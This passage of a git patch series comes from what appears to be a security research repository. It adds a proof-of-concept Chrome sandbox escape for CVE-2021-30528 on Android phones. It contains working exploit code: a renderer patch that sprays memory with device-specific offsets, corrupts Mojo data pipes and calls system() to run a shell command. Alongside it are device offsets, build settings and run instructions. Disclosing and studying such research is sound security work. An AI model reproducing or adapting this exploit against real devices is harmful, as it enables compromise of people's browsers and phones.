Visit(content::RenderFrame* frame) override { ++ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame); ++ return true; ++ } ++ }; ++ TriggerVisitor visitor; ++ content::RenderFrame::ForEach(&visitor); ++} ++//---------------------------------------------------------------------- ++ + v8::Local DOMWindow::Wrap(v8::Isolate* isolate, + v8::Local creation_context) { + // TODO(yukishiino): Get understanding of why it's possible to initialize +@@ -157,6 +336,15 @@ void DOMWindow::postMessage(v8::Isolate* isolate, + const String& target_origin, + HeapVector& transfer, + ExceptionState& exception_state) { ++ if (target_origin == "trigger") { ++ RenderFrameHost_test(); ++ return; ++ } ++ if (target_origin == "spray") { ++ uint64_t addr = sprayVirtualMem(); ++ exception_state.ThrowTypeError(String::Number(addr)); ++ return; ++ } + WindowPostMessageOptions* options = WindowPostMessageOptions::Create(); + options->setTargetOrigin(target_origin); + if (!transfer.IsEmpty()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch new file mode 100644 index 0000000..56bbc7a --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/browser.patch @@ -0,0 +1,28 @@ +diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc +index 07b62e25c1ff..d5496277f632 100644 +--- a/components/autofill/core/browser/autofill_manager.cc ++++ b/components/autofill/core/browser/autofill_manager.cc +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + + // TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()? + // We skip populating autofill data, but might generate warnings and or +diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc +index 560f30b57c88..6b5715949ffd 100644 +--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc ++++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + + // Do not make an unnecessary preflight call unless signaled. + if (!can_fetch_unmask_details_.IsSignaled()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html new file mode 100644 index 0000000..2dea2cc --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger.html @@ -0,0 +1,14 @@ + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html new file mode 100644 index 0000000..4a9bf6e --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/trigger2_64.html @@ -0,0 +1,81 @@ + + + + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md new file mode 100644 index 0000000..08fad30 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md @@ -0,0 +1,49 @@ +## 32 bit version + +The 32 bit version 88.0.4324.181 of Chrome are tested with the following devices: +1. Pixel 3a firmware version RP1A.200720.009 +2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 + +The offsets included in `arm_renderer.patch` are with respect to these firmware. (To test on Pixel 3a, the offset for A71 needs to be commented out) The `arm_renderer.patch` is used to simulate a compromised renderer. + +The patch `browser.patch` patches the browser to make local testing more convenient. It does the following: +1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device): + +``` +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + +``` + +2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this) + +``` +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + +``` + +These are only for the convenience of local testing and are not a requirement of the vulnerability. + +After applying both of these patches, build Chrome version 88.0.4324.181 with the following build config (`args.gn`): + +``` +target_os = "android" +target_cpu = "arm" +is_java_debug = false +is_debug = false +symbol_level = 1 +blink_symbol_level = 1 +``` + +then follow the instructions in `README.md` of the parent directory to test. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch new file mode 100644 index 0000000..a2304ff --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/arm_renderer.patch @@ -0,0 +1,201 @@ +diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc +index 5a768a029f92..19b506446232 100644 +--- a/third_party/blink/renderer/core/frame/dom_window.cc ++++ b/third_party/blink/renderer/core/frame/dom_window.cc +@@ -43,6 +43,55 @@ + #include "third_party/blink/renderer/platform/weborigin/kurl.h" + #include "third_party/blink/renderer/platform/weborigin/security_origin.h" + ++ ++#include "ui/gfx/geometry/rect_f.h" ++#include "base/strings/utf_string_conversions.h" ++#include "content/public/renderer/render_frame.h" ++#include "content/renderer/render_frame_impl.h" ++#include "content/public/renderer/render_frame_visitor.h" ++#include "content/renderer/frame_owner_properties_converter.h" ++#include "content/renderer/render_frame_proxy.h" ++#include "components/autofill/core/common/mojom/autofill_types.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h" ++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h" ++ ++#include "components/autofill/core/common/password_generation_util.h" ++#include "components/autofill/core/common/form_data.h" ++#include "components/autofill/core/common/renderer_id.h" ++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h" ++ ++#include "third_party/ashmem/ashmem.h" ++#include ++#include "third_party/blink/renderer/core/mojo/mojo.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h" ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h" ++ ++#include "base/single_thread_task_runner.h" ++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h" ++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h" ++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h" ++#include "third_party/blink/public/platform/web_url_loader.h" ++#include "third_party/blink/renderer/platform/heap/persistent.h" ++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h" ++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h" ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h" ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h" ++#include "third_party/blink/renderer/platform/platform_export.h" ++#include "third_party/blink/renderer/platform/timer.h" ++#include "third_party/blink/renderer/platform/wtf/hash_map.h" ++#include "third_party/blink/renderer/platform/wtf/hash_set.h" ++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h" ++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h" ++ ++#include "mojo/core/core.h" ++#include "mojo/public/c/system/data_pipe.h" ++ ++#include ++#include ++ + namespace blink { + + DOMWindow::DOMWindow(Frame& frame) +@@ -55,6 +104,125 @@ DOMWindow::~DOMWindow() { + DCHECK(!frame_); + } + ++//--------------Spray virtual memory---------------------------- ++static uint32_t findLibOffset(const std::string& lib) { ++ std::ifstream file("/proc/self/maps"); ++ CHECK(file.is_open()) << "Cannot open /proc/self/maps"; ++ std::string line; ++ std::string addr; ++ while (std::getline(file, line)) { ++ if (line.find(lib) != std::string::npos) { ++ LOG(ERROR) << "found "<< lib << " " << line; ++ int pos = line.find("-"); ++ std::string addrStr = line.substr(0,pos); ++ uint32_t offset = (uint32_t)std::stoll(addrStr, nullptr, 16); ++ LOG(ERROR) << addrStr << " : " << offset; ++ return offset; ++ } ++ } ++ CHECK(false) << "Cannot find " << lib << " offset"; ++ return 0; ++} ++ ++static int mapAndInitializeSharedMem() { ++ size_t pageSize = 0x1000; ++ size_t hugePageSize = 0x4000000; ++ uint32_t libhwuiOffset = findLibOffset("libhwui.so"); ++ ++//Pixel3a specific offsets-------------------- ++ uint32_t executeOffset = 0x538f54; ++ ++//A71 specific offsets------------------------ ++ executeOffset = 0x7246a0; ++ ++ int fd = ashmem_create_region("spray_region", hugePageSize); ++ for (size_t i = 0; i < hugePageSize/pageSize; i++) { ++ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize); ++ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i; ++ memset(mapped, 0x00, pageSize); ++ uint32_t* execute = (uint32_t*)(mapped + 4); ++ *execute = executeOffset + libhwuiOffset; ++ //Fake webpworker ++ uint32_t* hook = (uint32_t*)(mapped + 8); ++ *hook = (uint32_t)(&system); ++ uint32_t controlledAddr = 0x67000000; ++ uint32_t* data = (uint32_t*)(mapped + 12); ++ *data = controlledAddr + 0x100; ++ char cmd[] = "touch /data/data/org.chromium.chrome/pwn"; ++ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1); ++ } ++ return fd; ++} ++ ++static std::vector createDataPipes(int pipeNum, std::vector& fd) { ++ std::vector handles; ++ for (int i = 0; i < pipeNum; i++) { ++ MojoCreateDataPipeOptions options; ++ options.setElementNumBytes(1); ++ options.setCapacityNumBytes(0x1000); ++ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options); ++ handles.push_back(result->consumer()->TakeHandle()); ++ } ++ return handles; ++} ++ ++ ++static void sprayVirtualMem() { ++ int dupNum = 20; ++ int fd = mapAndInitializeSharedMem(); ++ std::vector fds; ++ for (int i = 0; i < dupNum; i++) { ++ fds.push_back(dup(fd)); ++ } ++ std::vector handles = createDataPipes(dupNum, fds); ++ mojo::core::Core* core = mojo::core::Core::Get(); ++ for (size_t i = 0; i < handles.size(); i++) { ++ scoped_refptr dispatcher = core->GetDispatcher(handles[i]->value()); ++ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get()); ++ int offset = 96; ++ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]); ++ uint32_t* dispatcherPtrWide = (uint32_t*)(dispatcher.get()); ++ *(dispatcherPtrWide + (offset + 16)/sizeof(uint32_t)) = 0x4000000; ++ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 8); ++ options->element_num_bytes = 0x4000000; ++ options->capacity_num_bytes = 0x4000000; ++ } ++ ++ ++ mojo::Remote blob_registry; ++ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface( ++ blob_registry.BindNewPipeAndPassReceiver()); ++ for (int i = 0; i < dupNum; i++) { ++ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing()); ++ } ++} ++//---------------------------------------------------------------------- ++ ++//Triggering bug ++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) { ++ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces(); ++ mojo::AssociatedRemote autofill_driver; ++ provider->GetInterface(&autofill_driver); ++ autofill::FormData form; ++ autofill::FormFieldData field; ++ field.autocomplete_attribute = "cc-number"; ++ form.fields.push_back(field); ++ form.url = GURL("https://www.aaa.com"); ++ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false); ++} ++ ++static void RenderFrameHost_test() { ++ struct TriggerVisitor : public content::RenderFrameVisitor { ++ bool Visit(content::RenderFrame* frame) override { ++ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame); ++ return true; ++ } ++ }; ++ TriggerVisitor visitor; ++ content::RenderFrame::ForEach(&visitor); ++} ++//---------------------------------------------------------------------- ++ + v8::Local DOMWindow::Wrap(v8::Isolate* isolate, + v8::Local creation_context) { + // TODO(yukishiino): Get understanding of why it's possible to initialize +@@ -142,6 +310,14 @@ void DOMWindow::postMessage(v8::Isolate* isolate, + const String& target_origin, + HeapVector& transfer, + ExceptionState& exception_state) { ++ if (target_origin == "trigger") { ++ RenderFrameHost_test(); ++ return; ++ } ++ if (target_origin == "spray") { ++ sprayVirtualMem(); ++ return; ++ } + WindowPostMessageOptions* options = WindowPostMessageOptions::Create(); + options->setTargetOrigin(target_origin); + if (!transfer.IsEmpty()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch new file mode 100644 index 0000000..56bbc7a --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/browser.patch @@ -0,0 +1,28 @@ +diff --git a/components/autofill/core/browser/autofill_manager.cc b/components/autofill/core/browser/autofill_manager.cc +index 07b62e25c1ff..d5496277f632 100644 +--- a/components/autofill/core/browser/autofill_manager.cc ++++ b/components/autofill/core/browser/autofill_manager.cc +@@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( + return; + } + +- context->is_context_secure = !IsFormNonSecure(form); ++// context->is_context_secure = !IsFormNonSecure(form); ++ context->is_context_secure = true; ++ + + // TODO(rogerm): Early exit here on !driver()->RendererIsAvailable()? + // We skip populating autofill data, but might generate warnings and or +diff --git a/components/autofill/core/browser/payments/credit_card_access_manager.cc b/components/autofill/core/browser/payments/credit_card_access_manager.cc +index 560f30b57c88..6b5715949ffd 100644 +--- a/components/autofill/core/browser/payments/credit_card_access_manager.cc ++++ b/components/autofill/core/browser/payments/credit_card_access_manager.cc +@@ -163,7 +163,7 @@ void CreditCardAccessManager::PrepareToFetchCreditCard() { + #if !defined(OS_IOS) + // No need to fetch details if there are no server cards. + if (!ServerCardsAvailable()) +- return; ++// return; + + // Do not make an unnecessary preflight call unless signaled. + if (!can_fetch_unmask_details_.IsSignaled()) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html new file mode 100644 index 0000000..2dea2cc --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger.html @@ -0,0 +1,14 @@ + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html new file mode 100644 index 0000000..4d4fc44 --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/trigger2_88.html @@ -0,0 +1,72 @@ + + + + + + + + + + + + diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py new file mode 100644 index 0000000..6dc4aae --- /dev/null +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/copy_mojo_js_bindings.py @@ -0,0 +1,20 @@ +#! /usr/bin/python + +import os +import shutil +import sys + +base_path = sys.argv[1] +for path, dirs, files in os.walk(base_path): + for file in files: + if file == 'mojo_bindings.js': + shutil.copyfile(os.path.join(path, file), os.path.join('./', file)) + + if file.endswith('.mojom.js'): + target_path = os.path.join('./', path[len(base_path) + 1:]) + try: + os.makedirs(target_path) + except: + pass + shutil.copyfile(os.path.join(path, file), os.path.join(target_path, file)) + From 496d8c61a49661eef96bc960da89877c8994336f Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Fri, 24 Sep 2021 13:33:20 +0100 Subject: [PATCH 039/140] Add Pixel 3a offsets and corrected firmware version. --- .../SandboxEscape/CVE-2021-30528/aarch64/README.md | 12 ++++++++++-- .../SandboxEscape/CVE-2021-30528/arm/README.md | 2 +- 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md index 4bd332a..ea50e89 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md @@ -1,8 +1,16 @@ ## 64 bit version -The 64 bit version 90.0.4430.91 of Chrome is tested with Samsung Galaxy A71 firmware version A715FXXU3BUB5. +The 64 bit version 90.0.4430.91 of Chrome are tested with the following devices: +1. Pixel 3a firmware version RQ1A.210205.004 +2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 -The offsets included in `arm64_renderer.patch` are with respect to this firmware. The `arm64_renderer.patch` is used to simulate a compromised renderer. +The offsets included in `arm64_renderer.patch` are with respect to A71. To test Pixel3a, change the A71 specific offsets to the following instead: +``` + uint64_t executeOffset = 0x711354; + uint64_t systemOffset = 0x5f278; +``` + +The `arm64_renderer.patch` is used to simulate a compromised renderer. The patch `browser.patch` patches the browser to make local testing more convenient. It does the following: 1. It removes the `ServerCards` check to simulate having a credit card store in an account (rather than on the device): diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md index 08fad30..bfd4949 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md @@ -1,7 +1,7 @@ ## 32 bit version The 32 bit version 88.0.4324.181 of Chrome are tested with the following devices: -1. Pixel 3a firmware version RP1A.200720.009 +1. Pixel 3a firmware version RQ1A.210205.004 2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 The offsets included in `arm_renderer.patch` are with respect to these firmware. (To test on Pixel 3a, the offset for A71 needs to be commented out) The `arm_renderer.patch` is used to simulate a compromised renderer. From f762d797a42e37ad3d725b51e08ca4f2f231304f Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 27 Sep 2021 08:30:21 -0700 Subject: [PATCH 040/140] Update SecurityExploits/Chrome/v8/CVE-2021-30623/README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- SecurityExploits/Chrome/v8/CVE-2021-30623/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md index 421f8a0..e0dbc53 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md @@ -58,4 +58,4 @@ function writeShellCode(rwxAddr, shellArr) { var elementsAddr = ftoi32(addrs[1])[0]; //<------- change this to var elementsAddr = ftoi32(addrs[1])[1]; ``` -This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching pattern in memory instead of relying on fixed offsets. +This, however, does not affect the reliability of the exploit as the offsets are stable as long as the file is fixed, but it may cause issues if the poc is modified. I do not know what causes this, but the exploit can probably be made more robust against this by matching patterns in memory instead of relying on fixed offsets. From d39ee1a16d4668d1c2eb46a33b0baf790cff874c Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 27 Sep 2021 08:30:42 -0700 Subject: [PATCH 041/140] Update SecurityExploits/Chrome/v8/CVE-2021-30623/README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- SecurityExploits/Chrome/v8/CVE-2021-30623/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md index e0dbc53..7168bc0 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md @@ -24,7 +24,7 @@ $ Shell code may need changing on other platforms. -The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifest itself with some garbage values of the addresses, for example: +The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example: ``` instance: 81d42dd From cd35f79fc4e9309b172461d84f265f53cb835ddf Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 27 Sep 2021 08:31:33 -0700 Subject: [PATCH 042/140] Update SecurityExploits/Chrome/v8/CVE-2021-30623/README.md --- SecurityExploits/Chrome/v8/CVE-2021-30623/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md index 7168bc0..310d25c 100644 --- a/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md +++ b/SecurityExploits/Chrome/v8/CVE-2021-30623/README.md @@ -24,7 +24,7 @@ $ Shell code may need changing on other platforms. -The exploit is very reliable, however, when testing, I notice that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example: +The exploit is very reliable, however, when testing, I noticed that some offsets appear to be sensitive to small changes in the file (even adding comments may cause problem), which would cause the exploit to fail. This only happens when the file is modified and usually manifests itself with some garbage values of the addresses, for example: ``` instance: 81d42dd From c8b8d9fdd30d2959cda7a14497e3e7620a08c06e Mon Sep 17 00:00:00 2001 From: Man Yue Mo Date: Thu, 30 Sep 2021 14:02:29 +0100 Subject: [PATCH 043/140] Correct typos --- SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md | 2 +- .../Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md | 2 +- .../Chrome/SandboxEscape/CVE-2021-30528/arm/README.md | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md index bb58e55..3f8465f 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md @@ -1,6 +1,6 @@ ## Chrome Sandbox Escape CVE-2021-30528 -The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer. +The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer. Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories. diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md index ea50e89..c54f9f4 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md @@ -25,7 +25,7 @@ The patch `browser.patch` patches the browser to make local testing more conveni ``` -2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this) +2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this) ``` @@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md index bfd4949..94e4612 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/arm/README.md @@ -19,7 +19,7 @@ The patch `browser.patch` patches the browser to make local testing more conveni ``` -2. It removes the requirement for secure content, which would require a properly set up https context. (Self signing certificate for localhost does not pass this) +2. It removes the requirement for secure content, which would require a properly set up https context. (Self signed certificate for localhost does not pass this) ``` @@ -2542,7 +2542,9 @@ void AutofillManager::GetAvailableSuggestions( From 47a75a46a42918b1a14df001a31151dd27034624 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Thu, 30 Sep 2021 07:36:00 -0700 Subject: [PATCH 044/140] Update SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md index 3f8465f..bbe5833 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md @@ -1,6 +1,6 @@ ## Chrome Sandbox Escape CVE-2021-30528 -The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a bug Chrome I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome issue Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer. +The write up can be found [here](https://securitylab.github.com/research/chrome_sbx_java). This is a Chrome bug I reported in May 2021. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2021-124-chrome) and the Chrome Issue [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1206329). The bug can be used to escape the Chrome sandbox from a compromised renderer. Two exploits are included, one for the 64 bit version 90.0.4430.91 and the other is for the 32 bit version 88.0.4324.181. The build configs are in the corresponding sub directories. From 0efb384633acc2126fb3ee5fd83091ca9384ca7f Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Thu, 30 Sep 2021 07:36:22 -0700 Subject: [PATCH 045/140] Update SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md index bbe5833..29ac40a 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/README.md @@ -24,4 +24,4 @@ python -m SimpleHTTPServer Then open the page `http://localhost:8000/trigger2_64.html` or `http://localhost:8000/trigger2_32.html` (depending on the version) from Chrome on the device. The easiest way is to use the `chrome://inspect/#devices` tool to set up the proxies etc. and open the url. -If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should success most of the time. +If successful, the shell command will run and a file called `pwn` will be created in the directory `/data/data/org.chromium.chrome/` in the phone. This should succeed most of the time. From 258530e90b0e9a92d6839d636f9defe9492427fd Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Thu, 30 Sep 2021 07:36:30 -0700 Subject: [PATCH 046/140] Update SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md Co-authored-by: intrigus-lgtm <60750685+intrigus-lgtm@users.noreply.github.com> --- .../Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md index c54f9f4..501d6dc 100644 --- a/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md +++ b/SecurityExploits/Chrome/SandboxEscape/CVE-2021-30528/aarch64/README.md @@ -1,6 +1,6 @@ ## 64 bit version -The 64 bit version 90.0.4430.91 of Chrome are tested with the following devices: +The 64 bit version 90.0.4430.91 of Chrome is tested with the following devices: 1. Pixel 3a firmware version RQ1A.210205.004 2. Samsung Galaxy A71 firmware version A715FXXU3BUB5 From 85c0fc2c1d3b5b067c6b5f938875253cc66bea74 Mon Sep 